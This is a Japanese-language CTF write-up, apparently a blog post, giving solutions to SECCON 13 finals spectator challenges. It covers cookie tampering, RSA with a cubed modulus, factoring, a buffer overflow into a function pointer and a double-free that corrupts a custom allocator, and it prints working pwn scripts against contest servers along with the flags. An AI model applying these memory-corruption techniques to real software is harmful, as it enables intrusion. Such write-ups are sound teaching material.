fastify.get(<span class="hljs-string">"/"</span>, <span class="hljs-keyword">async</span> (req, reply) =&gt; {
  reply.setCookie(<span class="hljs-string">'admin'</span>, <span class="hljs-string">'false'</span>, { <span class="hljs-attr">path</span>: <span class="hljs-string">'/'</span>, <span class="hljs-attr">httpOnly</span>: <span class="hljs-literal">true</span> });
  <span class="hljs-keyword">if</span> (req.cookies.admin === <span class="hljs-string">"true"</span>)
    reply.header(<span class="hljs-string">"X-Flag"</span>, process.env.FLAG);
  <span class="hljs-keyword">return</span> <span class="hljs-string">"can you get the flag?"</span>;
});

fastify.listen({ <span class="hljs-attr">port</span>: process.env.PORT, <span class="hljs-attr">host</span>: <span class="hljs-string">"0.0.0.0"</span> });
</code></pre>
</blockquote>
<p>Webサイトにアクセスすると、<code>admin=false</code>というcookieが渡されます。ソースコードによれば、<code>admin=true</code>のときにFlagが返されるようです。</p>
<p>Burp Suiteなどのローカルプロキシを用いても良いですが、ここでは簡単にブラウザで攻撃してみましょう。Firefoxでは、Web developer toolsのStrage欄で、cookieの読み書きができます。ここで、<code>admin</code>をtrueに書き換え、Network欄を見ながらサイトをリロードしてあげます。すると、Response HeaderにFlagが出てきます。</p>
<p>余談ですが、私はX-FlagでFlagが返されることを読み飛ばしており、時間を無駄にしてしまいました…</p>
<p><em>Alpaca{7h3_n4m3_c0m35_fr0m_B3cky}</em></p>
<h2 id="heading-beginners-flag-printer">Beginner's Flag Printer</h2>
<blockquote>
<p>フラグを出力するアセンブリです🤖</p>
<pre><code class="lang-python">.LC0:
        .string <span class="hljs-string">"Alpaca{%x}\n"</span>
main:
        push    rbp
        mov     rbp, rsp
        sub     rsp, <span class="hljs-number">16</span>
        mov     DWORD PTR [rbp<span class="hljs-number">-4</span>], <span class="hljs-number">539232261</span>
        mov     eax, DWORD PTR [rbp<span class="hljs-number">-4</span>]
        mov     esi, eax
        mov     edi, OFFSET FLAT:.LC0
        mov     eax, <span class="hljs-number">0</span>
        call    printf
        mov     eax, <span class="hljs-number">0</span>
        leave
        ret
</code></pre>
</blockquote>
<p>渡されたアセンブリの頭に<code>"Alpaca{%x}\n"</code>なる文字列があるので、<code>%x</code>に渡される数字を特定すれば良さそうです。</p>
<p>ここで、少し下に<code>539232261</code>なる怪しい数字が見えます。16進数にしてあげると<code>20240805</code>であり、これがFlagとなります。</p>
<p><em>Alpaca{20240805}</em></p>
<h2 id="heading-parseint">parseInt</h2>
<blockquote>
<p><code>a &lt; b &amp;&amp; parseInt(a) &gt; parseInt(b)</code> となるような <code>a</code>, <code>b</code> を見つけてください🐟</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> rl = <span class="hljs-built_in">require</span>(<span class="hljs-string">"node:readline"</span>).createInterface({
    <span class="hljs-attr">input</span>: process.stdin,
    <span class="hljs-attr">output</span>: process.stdout,
});

rl.question(<span class="hljs-string">"Input a,b: "</span>, <span class="hljs-function"><span class="hljs-params">input</span> =&gt;</span> {
    <span class="hljs-keyword">const</span> [a, b] = input.toString().trim().split(<span class="hljs-string">","</span>).map(<span class="hljs-built_in">Number</span>);
    <span class="hljs-keyword">if</span> (a &lt; b &amp;&amp; <span class="hljs-built_in">parseInt</span>(a) &gt; <span class="hljs-built_in">parseInt</span>(b))
        <span class="hljs-built_in">console</span>.log(process.env.FLAG);
    <span class="hljs-keyword">else</span>
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">":("</span>);
    rl.close();
});
</code></pre>
</blockquote>
<p>問題文にある通り、<code>a &lt; b</code>かつ<code>parseInt(a) &gt; parseInt(b)</code>である<code>a</code>と<code>b</code>を探します。</p>
<p>こういったときは、とりあえず大きな数を入力してみましょう。parseIntに<code>1000000000000000000000</code>を渡すと、1が返ってきました。そこで、<code>a = 2</code>, <code>b = 1000000000000000000000</code>を入力してあげると、Flagが入手できます。</p>
<p><em>Alpaca{..ww.w....&lt;')))&gt;&lt;.~~~}</em></p>
<h2 id="heading-trippple">trippple</h2>
<blockquote>
<p>出力からフラグを復元してください🐍</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> os
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> getPrime, bytes_to_long

m = bytes_to_long(os.getenv(<span class="hljs-string">"FLAG"</span>).encode())
p = getPrime(<span class="hljs-number">96</span>)
n = p * p * p
e = <span class="hljs-number">65537</span>
c = pow(m, e, n)

print(<span class="hljs-string">f"<span class="hljs-subst">{n,c=}</span>"</span>)
</code></pre>
<p>出力:</p>
<pre><code class="lang-python">n,c=(<span class="hljs-number">272361880253535445317143279209232620259509770172080133049487958853930525983846305005657</span>, <span class="hljs-number">69147423377323669983172806367084358432369489877851180970277804462365354019444586165184</span>)
</code></pre>
</blockquote>
<p>RSA暗号で、nがpの3乗となっています。</p>
<p>とりあえず、\(p = n^{1/3}\)としてpが求められます。ここで、\(\phi(n) = p^2 (p - 1)\)となるので、あとはいつもどおり復号することができます。</p>
<pre><code class="lang-python">$ sage -q
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes
n = <span class="hljs-number">272361880253535445317143279209232620259509770172080133049487958853930525983846305005657</span>
c = <span class="hljs-number">69147423377323669983172806367084358432369489877851180970277804462365354019444586165184</span>
e = <span class="hljs-number">65537</span>
p = n^(<span class="hljs-number">1</span>/<span class="hljs-number">3</span>)
phi = p^<span class="hljs-number">2</span> * (p - <span class="hljs-number">1</span>)
d = pow(e, <span class="hljs-number">-1</span>, phi)
m = pow(c, d, n)
long_to_bytes(m) <span class="hljs-comment"># b'Alpaca{h1t&amp;4w4y_k4nzum3}'</span>
</code></pre>
<p><em>Alpaca{h1t&amp;4w4y_k4nzum3}</em></p>
<h2 id="heading-danger-of-buffer-overflow">danger of buffer overflow</h2>
<blockquote>
<p>危険です</p>
</blockquote>
<p><code>gets(buf)</code>を呼んでおり、明らかにBuffer Overflowを起こせますね。</p>
<p>おあつらえむきに、<code>buf</code>の下に関数ポインタがあります。<code>win</code>関数のアドレスももらえるようなので、関数ポインタに<code>win</code>のアドレスを入れてあげましょう。</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> ptrlib <span class="hljs-keyword">import</span> *

r = remote(<span class="hljs-string">"34.170.146.252"</span>, <span class="hljs-number">24310</span>)

r.recvuntil(<span class="hljs-string">"address of print_flag func: "</span>)
win_ptr = int(r.recvline()[<span class="hljs-number">2</span>:], <span class="hljs-number">16</span>)
logger.info(<span class="hljs-string">f"win_ptr: <span class="hljs-subst">{hex(win_ptr)}</span>"</span>)
r.sendlineafter(<span class="hljs-string">"gets to buf: "</span>, <span class="hljs-string">b"A"</span> * <span class="hljs-number">8</span> + p64(win_ptr))

r.interactive()
</code></pre>
<p><em>Alpaca{1_r3ally_d0nt_w4nt_t0_us3_g3t5}</em></p>
<h2 id="heading-play-with-memory">play with memory</h2>
<blockquote>
<p>1, 2, 3, 4, 5!</p>
</blockquote>
<p><code>12345</code>と解釈されるバイト列を送るとFlagをもらえます。エンディアンに気をつけながら送信しましょう。</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> ptrlib <span class="hljs-keyword">import</span> *

r = remote(<span class="hljs-string">"34.170.146.252"</span>, <span class="hljs-number">57944</span>)

r.sendlineafter(<span class="hljs-string">"input your number!: "</span>, <span class="hljs-string">b"\x39\x30"</span>) <span class="hljs-comment"># 0x3039 = 12345</span>

r.interactive()
</code></pre>
<p><em>Alpaca{l1ttl3_end1an_1s_qu1t3_h4rd_t0_us3d_t0}</em></p>
<h2 id="heading-42">42</h2>
<blockquote>
<p>出力からフラグを復元してください🐍</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> os
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> getPrime, bytes_to_long

x = bytes_to_long(os.getenv(<span class="hljs-string">"FLAG"</span>).encode())
<span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">42</span>):
    x *= getPrime(<span class="hljs-number">42</span>)
print(x)
</code></pre>
<p>出力:</p>
<pre><code class="lang-python"><span class="hljs-number">1147519914005635970823022779519580521609222940350823007699842537827644738629829657046897975782350987748029018405699017377382521676899556171556649128260865812262043303782475632488849236816194782530154901066736272457909268699844626557409460652217501658644287801649083260640392194864370700199619482572398308537257922259125395585581757757644945754520977388691814074631081409677094992839775104691433743609551833747629636402523522392312458111656977789142053773849669780021688811768524291886161405435708715493344047580746854894532523408006689911316576153711061177239836663374119954672786387</span>
</code></pre>
</blockquote>
<p>Flagが42bitの適当な素数42個と掛けられています。</p>
<p>素因数分解してあげると、42bitの素数が42個と、明らかに42bit以下、以上の素数が出てきます。42bitでない数を掛け合わせたものがFlagだと推定できます。</p>
<pre><code class="lang-python">$ sage
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes
x = <span class="hljs-number">1147519914005635970823022779519580521609222940350823007699842537827644738629829657046897975782350987748029018405699017377382521676899556171556649128260865812262043303782475632488849236816194782530154901066736272457909268699844626557409460652217501658644287801649083260640392194864370700199619482572398308537257922259125395585581757757644945754520977388691814074631081409677094992839775104691433743609551833747629636402523522392312458111656977789142053773849669780021688811768524291886161405435708715493344047580746854894532523408006689911316576153711061177239836663374119954672786387</span>
factor(x) <span class="hljs-comment"># 3 * 23 * 2205496470181 * 2219555763769 * 2233425033163 * 2239061295271 * 2259023796727 * 2284404776567 * 2291370145123 * 2416633488457 * 2419508288471 * 2434758174067 * 2500841090549 * 2503738093453 * 2573045476847 * 2680923822481 * 2778916602433 * 2788061078027 * 2796482148853 * 2874516939989 * 3132015040537 * 3139228584347 * 3155640636023 * 3194390562137 * 3284689931333 * 3395646793247 * 3450918694961 * 3542857468897 * 3558548169959 * 3723346041941 * 3734921299007 * 3741754738429 * 3881331302137 * 3955397572079 * 3975840251293 * 4072584462841 * 4130457980197 * 4158189715259 * 4194605058227 * 4207350753019 * 4244137496801 * 4299476105167 * 4327600625807 * 4333485694679 * 64527453873583290390233 * 360296424708927327075211324489217</span>
c = <span class="hljs-number">3</span> * <span class="hljs-number">23</span> * <span class="hljs-number">64527453873583290390233</span> * <span class="hljs-number">360296424708927327075211324489217</span>
long_to_bytes(c) <span class="hljs-comment"># b'Alpaca{42_is_6_times_7.}'</span>
</code></pre>
<p><em>Alpaca{42_is_6_times_7.}</em></p>
<h2 id="heading-can-u-keep-a-secret">Can U Keep A Secret?</h2>
<blockquote>
<p>Or ...?</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;time.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;unistd.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
    srand(time(<span class="hljs-literal">NULL</span>));
    <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> secret = rand(), input;
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"secret: %u\n"</span>, secret);

    <span class="hljs-comment">// can u keep a secret??/</span>
    secret *= rand();
    secret *= <span class="hljs-number">0x5EC12E7</span>;
    <span class="hljs-built_in">scanf</span>(<span class="hljs-string">"%u"</span>, &amp;input);
    <span class="hljs-keyword">if</span>(input == secret)
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Alpaca{REDACTED}\n"</span>);
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
</blockquote>
<p>乱数が与えられたあと、それに新たな乱数と固定値を掛けた値をあてることができればFlagをもらえる<strong>ようにみえますが、</strong>実際には異なります。</p>
<p>与えられたソースコードの11行目のコメントの末尾が<code>??/</code>となっていますが、これをtrigraph(一部の記号をISO 646に含まれる文字のみで表す方法)として解釈すると、<code>\</code>となります。trigraphはc++14まではデフォルトで有効でしたが、c++17からは明示的に<code>-trigraphs</code>を与えないと無効となりました<a class="post-section-overview" href="#ft1"><sup>2</sup></a>。</p>
<p>今回のバイナリは、ディスアセンブラを通すとわかる通り、trigraphが有効になっており、ソースコード12行目の<code>secret *= rand()</code>の処理が消えています。そこで、単純に、与えられた<code>secret</code>に<code>0x5EC12E7</code>をかければ良いです。<code>secret</code>はint型なので、オーバーフローを考慮してあげましょう。</p>
<p>私はtrigraphを知らなかったので、なかなか答えが合わず時間をかけてしまいました…</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> ptrlib <span class="hljs-keyword">import</span> *

r = remote(<span class="hljs-string">"34.170.146.252"</span>, <span class="hljs-number">59556</span>)

r.recvuntil(<span class="hljs-string">"secret: "</span>)
secret = int(r.recvline())
logger.info(<span class="hljs-string">f"secret: <span class="hljs-subst">{secret}</span>"</span>)

new_secret = (secret * <span class="hljs-number">0x5EC12E7</span>) &amp; <span class="hljs-number">0xFFFFFFFF</span>
logger.info(<span class="hljs-string">f"new_secret: <span class="hljs-subst">{new_secret}</span>"</span>)

r.sendline(str(new_secret))

r.interactive()
</code></pre>
<p><em>Alpaca{u_r_pwn_h3r0}</em></p>
<h2 id="heading-cache-crasher"><strong>cache crasher</strong></h2>
<blockquote>
<p>tapioca rice</p>
</blockquote>
<p>オレオレmallocの問題です。<code>free</code>するときに必要な確認を怠っており、double-freeが可能なことが脆弱性です。</p>
<p><code>cache</code>の動きを詳細に追ってみましょう。</p>
<p>始めに<code>alloc</code>を呼びます。このとき、まだ<code>cache</code>には何も繋がれていません。</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741184425255/3fb1b45b-5925-4b00-afbd-0bdf7ec57fb3.jpeg" alt class="image--center mx-auto" /></p>
<p><code>free(0)</code>を呼ぶと、<code>cache</code>には<code>buf[0]</code>が繋がれます。</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741184447842/43d85406-290c-4368-ae91-3ba6476e9430.jpeg" alt class="image--center mx-auto" /></p>
<p>ここでもう一度<code>free(0)</code>を呼んでみましょう。すると、<code>buf[0].next_chink</code>が自分自身を指すようになります。</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741184466412/d48c78ba-1c8c-405f-b123-9cf3f8715458.jpeg" alt class="image--center mx-auto" /></p>
<p>この状態で<code>alloc</code>を呼び、<code>0xdeadbeef</code>を入力してみましょう。</p>
<p>chunkはUnion型なので、<code>buf[0].next_chunk</code>が<code>buf[0].val</code>と重なっており、<code>buf[0].val</code>に入力した値が<code>buf[0].next_chunk</code>に入ることに気をつけます。</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741184485917/6feeffba-3ae0-4ff5-a04f-f0ddee32b489.jpeg" alt class="image--center mx-auto" /></p>
<p><code>cache</code>に任意アドレスを繋げられました。<code>alloc</code>を呼びましょう。</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1741184501758/1be363f3-1bf4-4f8c-b33e-c083e56fa4c6.jpeg" alt class="image--center mx-auto" /></p>
<p><code>cache</code>が入力したアドレスを指すようになりました。この状態で<code>alloc</code>を呼ぶことで、<code>0xdeadbeef</code>へ書き込みできます。</p>
<p>今回は<code>func_ptr</code>が用意されているので、そこに<code>print_flag</code>のアドレスを入力できればFlagを入手できます。</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> ptrlib <span class="hljs-keyword">import</span> *

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">alloc</span>(<span class="hljs-params">val</span>):</span>
    r.sendlineafter(<span class="hljs-string">"opcode(0: alloc, 1: free): "</span>, <span class="hljs-string">"0"</span>)
    r.sendlineafter(<span class="hljs-string">"data(integer): "</span>, str(val))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">free</span>(<span class="hljs-params">ind</span>):</span>
    r.sendlineafter(<span class="hljs-string">"opcode(0: alloc, 1: free): "</span>, <span class="hljs-string">"1"</span>)
    r.sendlineafter(<span class="hljs-string">"what index to free: "</span>, str(ind))

r = remote(<span class="hljs-string">"34.170.146.252"</span>, <span class="hljs-number">45969</span>)

r.recvuntil(<span class="hljs-string">"address of print_flag: "</span>)
print_flag = int(r.recvline()[<span class="hljs-number">2</span>:], <span class="hljs-number">16</span>)
logger.info(<span class="hljs-string">f"print_flag: <span class="hljs-subst">{hex(print_flag)}</span>"</span>)
r.recvuntil(<span class="hljs-string">"address of funcptr: "</span>)
func_ptr = int(r.recvline()[<span class="hljs-number">2</span>:], <span class="hljs-number">16</span>)
logger.info(<span class="hljs-string">f"func_ptr: <span class="hljs-subst">{hex(func_ptr)}</span>"</span>)

alloc(<span class="hljs-number">0xcafebafe</span>)
free(<span class="hljs-number">0</span>)
free(<span class="hljs-number">0</span>)
alloc(func_ptr)
alloc(<span class="hljs-number">0xcafebafe</span>)
alloc(print_flag)

r.interactive()
</code></pre>
<p><em>Alpaca{ar1g4t0u_alloc4t0r}</em></p>
<h1 id="heading-6kej44gr44gq44gl44gj44gf5zwp6agm">解けなかった問題</h1>
<h2 id="heading-flag-printer">Flag Printer</h2>
<blockquote>
<p>フラグを出力するアセンブリです🤖</p>
</blockquote>
<p>こういった問題はAIが得意そうと思って投げてみたのですが、間違ったFlagしか教えてもらえませんでした。しかしsatokiさんの<a target="_blank" href="https://github.com/satoki/ctf_writeups/tree/master/SECCON_CTF_13_%E6%B1%BA%E5%8B%9D%E8%A6%B3%E6%88%A6CTF/Flag_Printer">writeup</a>によればChatGPTで解けるらしいので、プロンプトの問題かもしれません。</p>
<h2 id="heading-alpaca-wakekko">Alpaca Wakekko</h2>
<blockquote>
<p>al al al al paca paca paca paca</p>
</blockquote>
<p>軽く読んだだけでタイムアップだったので、あとでupsolveしたいですね。</p>
<p><code>gets</code>や<code>system</code>を呼んでいるので、それらをうまく使うのかな？</p>
<h1 id="heading-44g44go44kb">まとめ</h1>
<p>これまでオンサイトでのCTFに出たことがなかったので、SECCONの雰囲気を感じながら他の競技者の方と問題を解けて楽しかったです。CTFへのモチベーションも上がりました。</p>
<p>このように貴重な企画を運営し、問題等を準備してくださった皆様、ありがとうございました。</p>
<hr />
<ol>
<li><p>実は、最後に時間を取って参加できたのは、約1年前のPico CTFだったりします。この春休みにはしっかり時間をとって参加したいという機運があります。</p>
</li>
<li><p><a target="_blank" href="https://developers.redhat.com/articles/2021/08/06/porting-your-code-c17-gcc-11#">https://developers.redhat.com/articles/2021/08/06/porting-your-code-c17-gcc-11#</a></p>
</li>
</ol>
<hr />
]]></content:encoded></item></channel></rss>